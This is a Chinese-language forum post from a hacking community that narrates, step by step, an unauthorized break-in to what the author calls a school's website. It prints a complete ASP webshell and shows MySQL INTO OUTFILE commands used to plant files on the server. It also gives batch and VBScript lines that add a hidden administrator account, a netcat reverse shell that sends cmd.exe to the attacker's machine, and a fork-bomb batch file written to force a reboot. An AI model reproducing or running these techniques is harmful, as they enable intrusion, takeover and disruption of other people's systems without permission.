论坛: 菜鸟乐园 标题: 一次艰难而真实的入侵(转/写的不错啊大家都可学一两招) 复制本贴地址    
作者: cac0527 [cac0527]    论坛用户   登录



一天在上了本地一个网站,习惯性的在一个新闻后面输入: http://host/home/xwzx/xwzxfile.php?id=53\
于是入侵就这样开始了……

1,信息收集与分析:
输入完后出现了下面的字:
Warning: Supplied argument is not a valid MySQL result resource in D:\\wangzhan\\home\\xwzx\\xwzxfile.php on line 191
这一行字真让我欣喜不以,它不仅暴露出了网站的数据库是MYSQL的,还显示出了网站的物理路径。接着我拿出X-WAY扫了它的IP,发现只开了21,445,80,3306端口,很有可能装了防火墙或是端口过滤,扫描了CGI等漏洞,并没有发现什么有价值的漏洞,仔细看看者个网站的模版,并不象是现成的,很有可能是自己编的,仔细分析下来已经有了3个突破口:
1,21端口,FTP IP 21,得到BANNER是Serv-U的FTP服务,好象Serv-U并没有什么可以直接利用远程得到密码漏洞,不过可以暴力破解,是一个安全隐患。

2,80端口,既然页面是可以交互的PHP,接着我注意到下面有个网站管理的入口,管理员并没有把它删掉,看来安全意识不强,很有可能用SQL注射攻入,不过我并会MYSQL注射,不过MSSQL和MYSQL都是SQL我想注射的方法也不会差太多,不过MYSQL没什么权限,但是只要能猜出页面管理员的入口的口令就差不多了,还值得一提的是网站还有个论坛,是紫桐的,版本不清楚,应该可以利用。

3,3306端口,MYSQL服务的端口,很有可能存在弱口令,就算没有也可以用MYSQL暴力破解器来破解密码。

telnet ip 80
get
得到的banner是IIS5.0,看来主机是iis5.0+php+mysql

3,攻击开始:

首先试试成功几率最大的MYSQL吧,下载了一个牛族MYSQL连接器,输入对方IP,密码为空,点“开始连接”。结果非常另人激动,那就是成功的连上去了,看来这所学校不是很重视网络安全,本以为接下来的事会很简单,但事与愿违,我又遇到了更复杂的情况。
有了MYSQL空密码以后的一般思路就是:先建立一个表,接着一行一行把ASP后门的代码写进去,接着导出,这样就变成了WEBSHELL,最后就是提升权限,用牛族连上去后,我就开始实现上面的思路,先在上面的框框里输入:
use mysql;
发送命令
“发送use mysal;成功!”
create table tmp(cmd TEXT)
发送命令
“发送create table tmp(cmd TEXT)成功!”

说明:选择在名叫mysql的库中建一个名叫tmp的表,这个表只有一个字段名叫cmd,数据类型为TEXT

再生成的表中写入内容并导出到系统目录上然后删除键的表
insert into tmp values(\"<% Dim oScript\")
发送命令(成功)
insert into tmp values(\"Dim oScriptNet\")
发送命令(成功)
insert into tmp values(\"Dim oFileSys, oFile\")
发送命令(成功)
……
……
select * from tmp into outfile \"d:\\\\wangzhan\\\\home\\cmd.asp\"
drop table tmp
说明:其实我就是一行一行往TMP这个表里写入cmd.asp的内容,代码如下:
<% Dim oScript
Dim oScriptNet
Dim oFileSys, oFile
Dim szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject(\"\"WSCRIPT.SHELL\"\")
Set oScriptNet = Server.CreateObject(\"\"WSCRIPT.NETWORK\"\")
Set oFileSys = Server.CreateObject(\"\"Scripting.FileSystemObject\"\")
szCMD = Request.Form(\"\".CMD\"\")
If (szCMD <> \"\"\"\")Then
szTempFile = \"\"C:\\\" & oFileSys.GetTempName()
Call oScript.Run (\"\"cmd.exe /c \"\" & szCMD & \"\" > \"\" & szTempFile, 0, True)
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
End If %>
<HTML><BODY><FORM action=\"\"<%= Request.ServerVariables(\"\"URL\"\")%>\"\" method=\"\"POST\"\">
<input type=text name=\"\".CMD\"\" size=45 value=\"\"<%= szCMD %>\"\"><input type=submit value=\"\"Run\"\">
</FORM><PRE>
<% If (IsObject(oFile))Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If%>
</BODY></HTML>
写好后,再导出放在d:\\wangzhan\\home\\,存为cmd.asp,还有d:\\\\注意啊是双斜杠由于换行的原因必须一行一行的写进去,还有ASP文件里的双引号都要用两个双引号代替.


花了10几分钟终于写好了,访问URL:http://www.%school%.com/home/cmd.asp,却出现了

“505 服务器内部错误”,

看的我一头雾水,仔细想想,莫非服务器不支持ASP?!我没往下想,先想办法再说,因为我已经写入了,我现在又不能删除,如果被管理员发现那个ASP就糟了,于是我再重网上DOWN了一个PHPSHELL,用记事本一打开,代码的长度是CMD.ASP的N倍,如果要一行一行的输入进去的话……于是我找朋友要了一个CMD下的MYSQL连接器,在CMD下输入:
mysql -h ip -uroot <php.sql
意思是连接远程的MYSQL,并且执行php.sql里的SQL语句,php.sql的代码:
use test;
create table tmp(cmd TEXT);
insert into tmp values(\phpshell每行的代码\)
insert into tmp values(\phpshell每行的代码\)
insert into tmp values(\phpshell每行的代码\)
……
select * from tmp into outfile \D:\\\\wangzhan\\\\wangzhan\\\\cmd2.php\;
drop table tmp;
意思跟上面说的差不多,也是一行一行的输入代码(由于PHP要换行的原因,所以要一行一行输),接着导出,最后删除,只是我编辑php.sql时候用了些小技巧,如果在每行PHPSHELL代码前都添加
insert into tmp values(\
和末尾都添加
\)
的话,工程量是可想而知的,所以我就用了一个特殊文本编辑器―易优超级字典生成器注册版,

它有一个小功能,在修改字典里,



有两个选项,一个是
“在每个密码前插入字符串”另一个是
“在每个密码后插入字符串”
嘿嘿,聪明的读者应该想到了吧,先把phpshell.php改为phpshell.txt,接着用它编辑,勾选那两个选项,然后分别写上
insert into tmp values(\,(由于一次不能写这么多,所以我就写 tmp values,输出好后,再插入insert into)和
\),


(不过首先用记事本打开那个phpshell.txt,把所以的\"改为\"\",然后才能用易优超级字典生成器注册版编辑,因为SQL语句里所有的\"都要用\"\"代替,真是麻烦……)

输出好后,再加上
use test;
select * from tmp into outfile \D:\\\\wangzhan\\\\wangzhan\\\\cmd2.php\;
drop table tmp;
最后改名为php.sql,好了,回到上面,
mysql -h ip -uroot <php.sql
回车后出现:
error on line 47 \"\\\"……
还有一些,由于当时没截图,就记不清了,反正意思是\"\\\" \"/*\"等等这类的字符无法导入,当时的心情真是・#¥……%,也许这时许多人都会想到放弃,但是黑客的精神就是“永不放弃”啊!~(虽然俺不是黑客:))

3,山穷水尽

于是重新在网上DOWN了一个功能超强的MYSQL管理工具
―EMS MySQL Manager 2
好险是半中文界面,试了几次后,终于把操作方法摸熟了,

大家可以看到,随便进入了一个项,点右键―新建表,然后把表的名字改为love,点下一步,把类型改为TEXT,

最后点“好的”接着右键点LOVE表,数据操作―导入数据―点选导入文本,然后打开phpshell.txt,最后点完成,最后等待了,



完成后,仔细看了表里的内容,确认和phpshell原代码一样后,用牛族MYSQL连接器导出了,用浏览器浏览,还是出现错误,真实郁闷啊,哪位高手知道到底是怎么回事一定要告诉我,小弟不甚感激。
接着我想到了那个BBS,正好MYSQL里有个BBS的项,进入,打开USER的表,第一行就是WEBMASTER,密码是用32位MD5加密的,用MD5解密,纯数字和字典都没成功,看来只好放弃了……

然后我又想到了用autorun.inf和BAT,于是,我再一次打开了牛族MYSQL连接器,输入:
insert into tmp values(\"net user shuangfeng /add\")
发送命令(成功)
insert into tmp values(\"net localgroup administrators shuangfeng /add\")
发送命令(成功)
insert into tmp values(\"net start telnet\")
发送命令(成功)
insert into tmp values(\"del telnet\")
发送命令(成功)
select * from tmp into outfile \"d:\\\\telnet.bat\"
drop table tmp

写完BAT后再写autorun.inf

insert into tmp values(\"[AutoRun]\")
发送命令(成功)
insert into tmp values(\"OPEN= d:\\muma.exe /autorun\")
发送命令(成功)
select * from tmp into outfile \"d:\\\\autorun.inf\"
drop table tmp

我把这两个文件C盘,D盘,E盘都放了,看看表11点48了,有点困了,先睡吧。

4,绝处逢生
第2天一打开电脑,就在cmd里输入telnet ip,返回的却是:
正在连接到xxx.xxx.xxx.xxx...不能打开到主机的连接, 在端口 23: 连接失败
当时真的很郁闷,又想到了21的FTP,又一个思路冒出来,下载一个serv-u,设置好密码后在把serv-udaemon.ini写进对方主机,最后登陆,不过仔细想想还是不行,因为MYSQL导出的文件不能覆盖其他文件……
不行,我还是不能放弃,我把注意力转移到MYSQL的数据上,仔细搜索,发现一个“wangzhan\"的列,进入后发现USER的表,看到里面有几个帐号,密码是名文保存的,接着我联想到网站上的管理系统,于是马上依照了第一个行的帐号登入,结果证明了我的猜测,我成功的进入了,只有发布新闻,下载等栏目,



并没有什么关于设置的选项,但是我还是试了一下,点发布新闻,一个“上传图片”的框框映入了我的眼帘,我试着用它上传phpshell,填好标题,内容等后,点了确定,另人激动的时刻到了,我成功了,顺利的传了上去,看来终究是自己编的,竟然没有对后错名做限制,出现:
home/photo/2013245321.php上传成功,
结果我通过这个路径,得到了phpshell,当时的心情真是无法用言语形容,但是我们现在的权限还太小,只能读写文件,要取道ADMIN权限才能算真正的占领,接着我开始了提升权限……

5,最后的决战
经过不懈的努力,终于有一个PHPSHELL,这个小小的SHELL,整整经过我2天的努力,最后就是提升权限了,再上传一个NC,
反向连接:
back(被我改名了) myip 53 -e cmd.exe
就是把帮定的CMDSHELL返回到我的53端口上,然后在自己机上运行
back -vv -l -p 53
顺利的得到了SHELL
如图6

得到CMDSHELL先看看是什么系统
type %windir%\\system32\\$winnt$.inf
发现有win adv,这几个字母,初步判定是win高级服务器版
再看看他打了什么补丁吧,输入:regedit /e r.reg HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\hotfix,意思是导出
HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\hotfix,里面含有补丁的信息,但没成功导出,怎么办呢,仔细看看WINNT里面的目录,发现有一些Q打头的LOG文件,它就是打了SP后遗留下来的日志文件,用TYPE命令查看,里面有许多是SP4的文件名,很有可能打了SP4,那样的话就麻烦了……
首先试试WMI吧,是eyas写的提升权限的东西,可以在SP3的机上建立一个XX的超级管理员,上传并运行以后,结果在我意料之中―拒绝访问,看来真的打了SP4,这样可就麻烦了,输入net start,看看开了什么服务,发现几个可以利用的服务:
mysql
Serv-U
于是我开是替换服务了,但可悲的是,这两个软件都装在C盘,而且C盘是NTFS,更改名字就是拒绝访问,杀进程就更别说了,哎,感觉又没有办法了,但是我还是不能放弃!(神都应该被我的精神感动了吧)仔细想想,我又回到了MYSQL上面,因为MYSQL肯定是ADMIN装的,也就是说隶属于ADMIN的启动范围之类,也就是说可以利用它写个脚本然后放在“启动”项内,于是我赶紧输入:
use test;
create table 2(cmd TEXT);
insert into 2 values (\"set wsh=CreateObject(\"\"WScript.Shell\"\")\")
insert into 2 values (\"wsh.run \"\"net.exe user aaa aa /add\"\",0\")
insert into 2 values (\"wsh.run \"\"net localgroup administrators aaa /add\"\",0\")
insert into 2 values (\"wsh.run \"net start telnet\",0\")
最后导出在所有USER的“启动”项内,最后就是等服务器重起了,不过俺是个急性子的人,利用messenge漏洞吧,虽然它不能得到SHELL但能使服务器重起,但仔细一看原来服务器根本就没启动MESSENGE服务,更别说漏洞了……
怎么办呢,写个BAT吧,内容为:
:begin
start cmd
goto begin
也就是不停的运行CMD,呵呵,更拒绝服务差不多,不一会CPU就会SAY GOODBYE了。
重起之后的事就不用说了吧……


至此终于入侵完了,回顾整个入侵,几起几落,真的是很不容易,耗时3天,最后终于成功了,希望各位读者们能从这篇文章学会一些有用的知识,而最重要的就是要有永不放弃的精神,而且要善于分析问题。



地主 发表时间: 05-04-15 14:39

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号